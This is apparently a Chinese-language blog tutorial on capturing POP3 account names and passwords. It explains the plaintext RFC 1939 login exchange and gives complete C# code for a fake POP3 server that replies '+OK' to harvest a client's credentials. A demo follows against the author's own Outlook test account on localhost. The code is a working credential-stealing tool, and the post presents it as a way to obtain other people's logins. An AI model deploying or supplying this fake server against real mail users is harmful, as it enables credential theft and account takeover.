How to get account & pass word in POP3.
由於pop3使用的密碼是未經過加密的
所以安全性一般並不高
有很多方法可以破解
目前網路上有很多pop3的密碼破解器
其中一種是利用某個程式偽裝成pop3的伺服器
走正常的通訊流程
當client端確認你為一般的pop3伺服器的時候
就會將未經加密的帳號密碼交出來
這邊解釋一下pop3的通訊流程
1. 當client連接上server的時候,會由server端首先發送一個"+OK"的訊息字串給client
2. 當client接收到訊息字串的時候,會將使用者的帳號給予server端,一般正常的狀況下,pop3會在此時檢查此帳號使否正確或存在
3. 如果帳號正確的話,server一樣會再回應一個"+OK"的訊息字串
4. 當client第二次接收到這個訊息字串時,便會將此帳號的密碼提供給pop3進行驗證,不過請注意,這時候的密碼是沒有加密過的
5. 當密碼驗證成功,client與server便可開始進行交易
參考資料
http://www.ietf.org/rfc/rfc1939.txt
以下是程式碼的實作
private const string IP = "127.0.0.1"; // 這是要進行Listen的IP private const int POP3_PORT = 110; // 這是POP3預設的Port private struct UserData { public string szAccount; public string szPassWord; } private UserData ListenPOP3() { // 建立一個監聽的Port 並且等待Client端的要求 IPEndPoint mIPEndPoint_ = new IPEndPoint(IPAddress.Parse(IP), POP3_PORT); TcpListener mTcpListener_ = new TcpListener(mIPEndPoint_); mTcpListener_.Start(); TcpClient mTcpClient_ = mTcpListener_.AcceptTcpClient(); UserData tagUserData_ = new UserData(); // 送出一個訊息給Client說OK NetworkStream mNetworkStream_ = mTcpClient_.GetStream(); byte[] byConnected_ = Encoding.ASCII.GetBytes("+OK\n"); mNetworkStream_.Write(byConnected_, 0, byConnected_.Length); // 取得Client的帳戶名稱 byte[] byAccount_ = new byte[255]; mNetworkStream_.Read(byAccount_, 0, byAccount_.Length); tagUserData_.szAccount = Encoding.ASCII.GetString(byAccount_); // 回應Client帳號是正確的 byte[] byAccountOK_ = Encoding.ASCII.GetBytes("+OK\n"); mNetworkStream_.Write(byAccountOK_, 0, byAccountOK_.Length); // 取得Client密碼 byte[] byPassWord_ = new byte[255]; mNetworkStream_.Read(byPassWord_, 0, byPassWord_.Length); tagUserData_.szPassWord = Encoding.ASCII.GetString(byPassWord_); return tagUserData_; }
我們來看一下結果
這是我在outlook中建立的測試帳號
帳號是test
密碼是1234
由於假的pop3 server是在自己本機端
所以郵件伺服器填 127.0.0.1 即可以
按下傳送與接收
看一下server端的反應
帳號密碼果然直接就被顯示出來